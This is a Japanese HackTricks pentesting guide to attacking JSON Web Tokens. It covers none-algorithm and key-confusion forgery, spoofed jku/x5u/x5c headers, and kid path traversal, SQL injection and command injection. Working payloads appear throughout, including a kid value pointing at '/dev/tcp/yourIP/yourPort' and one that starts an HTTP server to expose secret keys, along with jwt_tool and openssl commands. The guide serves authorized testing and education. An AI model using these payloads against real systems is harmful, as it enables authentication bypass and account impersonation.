# JWTの脆弱性(Json Web Tokens)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
![](<../.gitbook/assets/image (638) (3).png>)
**バグバウンティのヒント**:ハッカーによって作成されたプレミアムな**バグバウンティプラットフォームであるIntigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
**この投稿の一部は、**[**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology) **から取得されました。**\
**JWTをペンテストするための素晴らしいツールの作者**:[**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
### **クイックウィン**
[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool)を`All Tests!`モードで実行し、緑色の行が表示されるのを待ちます。
```bash
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG..."
```
もし運が良ければ、ツールはウェブアプリケーションがJWTを正しくチェックしていない場合を見つけることができます:
![](<../.gitbook/assets/image (435).png>)
その後、プロキシでリクエストを検索するか、jwt\_ toolを使用してそのリクエストに使用されたJWTをダンプすることができます。
```bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
### データを変更せずにデータを改ざんする
署名はそのままにデータを改ざんし、サーバーが署名をチェックしているかどうかを確認できます。例えば、ユーザー名を「admin」に変更してみてください。
#### **トークンはチェックされていますか?**
- エラーメッセージが表示される場合、署名がチェックされています。機密情報が漏洩する可能性のある詳細なエラー情報を読んでください。
- 返されるページが異なる場合、署名がチェックされています。
- ページが同じ場合、署名はチェックされていません。Payloadのクレームを改ざんして何ができるかを調べるために、タンパリングを開始しましょう!
### オリジン
プロキシのリクエスト履歴でトークンの発生元を確認してください。サーバーで作成されたものであるべきです。
- クライアント側から最初に見られた場合、**キー**はクライアント側のコードからアクセス可能です。それを探してください!
- サーバーから最初に見られた場合、すべて正常です。
### 期間
トークンが24時間以上続くかどうかを確認してください...おそらく期限切れになりません。もし「exp」フィールドがある場合、サーバーが正しく処理しているかどうかを確認してください。
### HMACシークレットのブルートフォース攻撃
[**このページを参照してください。**](../generic-methodologies-and-resources/brute-force.md#jwt)
### アルゴリズムをNoneに変更する(CVE-2015-9235)
使用されるアルゴリズムを「None」に設定し、署名部分を削除します。
この脆弱性を試すために、Burp拡張機能「JSON Web Token」を使用し、JWT内の異なる値を変更できます(リクエストをRepeaterに送信し、「JSON Web Token」タブでトークンの値を変更できます。「Alg」フィールドの値を「None」に設定することもできます)。
### アルゴリズムをRS256(非対称)からHS256(対称)に変更する(CVE-2016-5431/CVE-2016-10555)
アルゴリズムHS256は、各メッセージの署名と検証に秘密鍵を使用します。\
アルゴリズムRS256は、メッセージの署名には秘密鍵を使用し、認証には公開鍵を使用します。
アルゴリズムをRS256からHS256に変更すると、バックエンドのコードは公開鍵を秘密鍵として使用し、HS256アルゴリズムを使用して署名を検証します。
その後、公開鍵を使用してRS256をHS256に変更することで、有効な署名を作成できます。次のコマンドを実行して、Webサーバーの証明書を取得できます:
```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
```
### ヘッダー内の新しい公開鍵
攻撃者は、トークンのヘッダーに新しい鍵を埋め込み、サーバーはこの新しい鍵を使用して署名を検証します(CVE-2018-0114)。
これは、「JSON Web Tokens」Burp拡張機能を使用して行うことができます。\
(リクエストをリピーターに送信し、JSON Web Tokenタブで「CVE-2018-0114」を選択してリクエストを送信します)。
### JWKSスプーフィング
トークンが「jku」ヘッダークレームを使用している場合は、指定されたURLを確認してください。これは、トークンを検証するための公開鍵を保持するJWKSファイルを含むURLを指すはずです。トークンを改ざんして、jkuの値をトラフィックを監視できるWebサービスを指すように変更します。
HTTPのインタラクションが得られた場合、サーバーが提供したURLからキーを読み込もうとしていることがわかります。_jwt_toolの-Sフラグを-u_ [_http://example.com_](http://example.com) _引数と一緒に使用して、新しいキーペアを生成し、提供したURLを注入し、公開鍵を含むJWKSを生成し、プライベートキーでトークンに署名します_
### Kidの問題
`kid`は、キーの識別子を保持するオプションのヘッダークレームであり、複数のキーでトークンに署名する場合に特に便利です。正しいキーを検索するために使用する必要があります。
#### "kid"の問題 - キーの公開
ヘッダーで「kid」クレームが使用されている場合、そのファイルまたはそのバリエーションをウェブディレクトリで確認してください。たとえば、`"kid":"key/12345"`の場合、ウェブルートで _/key/12345_ と _/key/12345.pem_ を探してください。
#### "kid"の問題 - パストラバーサル
ヘッダーで「kid」クレームが使用されている場合、ファイルシステムで別のファイルを使用できるかどうかを確認してください。予測可能な内容のファイルを選択するか、または `"kid":"/dev/tcp/yourIP/yourPort"` を使用して接続性をテストするか、さらにはいくつかの **SSRF** ペイロードを試してみてください...\
jwt_toolの-Tフラグを使用してJWTを改ざんし、kidクレームの値を変更し、元の署名を保持するように選択します。
```bash
python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
ホスト内の既知のコンテンツを使用することで、有効なJWTを偽造することもできます。たとえば、Linuxシステムでは、ファイル `/proc/sys/kernel/randomize_va_space` の値が **2** に設定されています。したがって、その **パス** を「**kid**」パラメーターに入れ、JWTを生成するための **対称パスワード** として「**2**」を使用すると、有効な新しいJWTを生成できるはずです。
#### "kid"の問題 - SQLインジェクション
「kid」の内容がデータベースからパスワードを取得するために使用されるシナリオでは、次のようなペイロードを「kid」パラメーター内に変更してJWTに署名することができます:`non-existent-index' UNION SELECT 'ATTACKER';-- -` そして、秘密鍵 `ATTACKER` でJWTを署名します。
#### "kid"の問題 - OSインジェクション
「kid」パラメーターには、キーが含まれるファイルへのパスが含まれており、このパスが **実行されるコマンドの内部で使用されている** シナリオでは、次のようなペイロードを使用してRCEを取得し、秘密鍵を公開することができるかもしれません:`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
### その他の攻撃
以下は、テストすべき既知の脆弱性です。
**クロスサービスリレーアタック**
一部のWebアプリケーションでは、信頼されたJWT「サービス」を使用してトークンを生成および管理しています。過去には、JWTサービスのクライアントの1つのために生成されたトークンが、JWTサービスの別のクライアントによって受け入れられる場合がありました。\
JWTがサードパーティサービスを介して発行または更新されるのを観察した場合、同じユーザー名/メールアドレスでそのサービスの別のクライアントにアカウントを作成できるかどうかを特定する価値があります。そうしたトークンを取得し、ターゲットにリクエストで再生してみてください。受け入れられますか?
* トークンが受け入れられる場合、任意のユーザーアカウントを偽装することができる重大な問題が発生している可能性があります。ただし、サードパーティアプリケーションにサインアップする場合は、法的なグレーゾーンに入る可能性があるため、より広範なテスト権限の許可を求める必要があるかもしれません。
**expがチェックされていますか?**
「exp」ペイロードクレームは、トークンの有効期限をチェックするために使用されます。JWTはセッション情報の欠如時によく使用されるため、注意して取り扱う必要があります。他の人のJWTをキャプチャして再生することで、そのユーザーをなりすますことができる場合があります。\
JWTリプレイ攻撃に対する1つの緩和策(JWT RFCで推奨されている)は、「exp」クレームを使用してトークンの有効期限を設定することです。また、アプリケーションに関連するチェックを設定して、この値が処理され、トークンが期限切れの場合は拒否されるようにすることも重要です。トークンに「exp」クレームが含まれていて、テスト時間の制限が許可する場合は、トークンを保存して有効期限が過ぎた後に再生してみてください。_jwt\_toolの -R フラグを使用してトークンの内容を読み取り、タイムスタンプの解析と有効期限のチェック(UTCのタイムスタンプ)を行います_
* トークンがアプリケーションでまだ検証される場合、トークンは決して期限切れにならない可能性があるため、これはセキュリティリスクとなる場合があります。
### x5uとjku
#### jku
jkuは **JWK Set URL** の略です。\
トークンが「**jku**」 **ヘッダー**クレームを使用している場合は、指定されたURLを確認してください。これは、トークンの検証に使用される公開鍵を保持するJWKSファイルが格納されているURLを指すはずです。トークンを改ざんして、jkuの値をトラフィックを監視できるWebサービスを指すように変更してみてください。
まず、新しい証明書と新しい秘密鍵と公開鍵を作成する必要があります。
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
次に、[**jwt.io**](https://jwt.io)を使用して、**作成された公開鍵と秘密鍵を使用し、パラメーターjkuを作成された証明書に指定して新しいJWTを作成**することができます。有効なjku証明書を作成するために、元の証明書をダウンロードして必要なパラメーターを変更することができます。
公開証明書からパラメーター「e」と「n」を取得するには、次のようにします:
```bash
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
```
#### x5u
X.509 URL。PEM形式でエンコードされたX.509(証明書形式の標準)公開証明書のセットを指すURIです。セット内の最初の証明書は、このJWTに署名するために使用されるものでなければなりません。次の証明書は前の証明書に署名し、これにより証明書チェーンが完成します。X.509はRFC 52807で定義されています。証明書を転送するためには、トランスポートセキュリティが必要です。
このヘッダを**あなたが制御するURLに変更**して、リクエストが受信されるかどうかを確認してください。その場合、JWTを**改ざんすることができます**。
あなたが制御する証明書を使用して新しいトークンを偽造するには、証明書を作成し、公開鍵と秘密鍵を抽出する必要があります:
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
```
次に、例えば[**jwt.io**](https://jwt.io)を使用して、**作成された公開鍵と秘密鍵を使用し、パラメータx5uを作成された.crt証明書に指定して新しいJWTを作成する**ことができます。
![](<../.gitbook/assets/image (439).png>)
また、これらの脆弱性を**SSRFに悪用する**こともできます。
#### x5c
このパラメータには、**ベース64でエンコードされた証明書**が含まれている場合があります:
![](<../.gitbook/assets/image (440).png>)
攻撃者が**自己署名証明書を生成**し、対応する秘密鍵を使用して偽造トークンを作成し、"x5c"パラメータの値を新たに生成された証明書に置き換え、他のパラメータ(n、e、x5t)を変更すると、基本的にはサーバーが偽造トークンを受け入れることになります。
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
```
### 埋め込まれた公開鍵(CVE-2018-0114)
もしJWTに以下のシナリオのように公開鍵が埋め込まれている場合:
![](<../.gitbook/assets/image (438).png>)
次のNode.jsスクリプトを使用することで、そのデータから公開鍵を生成することが可能です:
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
```
新しい秘密鍵/公開鍵を生成し、その新しい公開鍵をトークン内に埋め込み、新しい署名を生成することが可能です。
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
次のNode.jsスクリプトを使用して、"n"と"e"を取得することができます。
```javascript
const jwt = require('jsonwebtoken');
const token = 'your_jwt_token_here';
const decodedToken = jwt.decode(token, { complete: true });
const n = decodedToken.header.n;
const e = decodedToken.header.e;
console.log('n:', n);
console.log('e:', e);
```
上記のスクリプトを使用すると、指定したJWTトークンから"n"と"e"を取得できます。
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
```
最後に、公開鍵と秘密鍵、および新しい「n」と「e」の値を使用して、[jwt.io](https://jwt.io)を使用して任意の情報を持つ新しい有効なJWTを作成することができます。
### JTI(JWT ID)
JTI(JWT ID)クレームは、JWTトークンの一意の識別子を提供します。これは、トークンのリプレイを防止するために使用できます。\
ただし、IDの最大長が4(0001-9999)であると想像してください。リクエスト0001と10001は同じIDを使用します。したがって、バックエンドが各リクエストでIDを増やしている場合、これを悪用して**リクエストを再生**することができます(成功した再生ごとに10000リクエストを送信する必要があります)。
### JWT登録済みクレーム
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
### ツール
{% embed url="https://github.com/ticarpi/jwt_tool" %}
\
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。これは、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。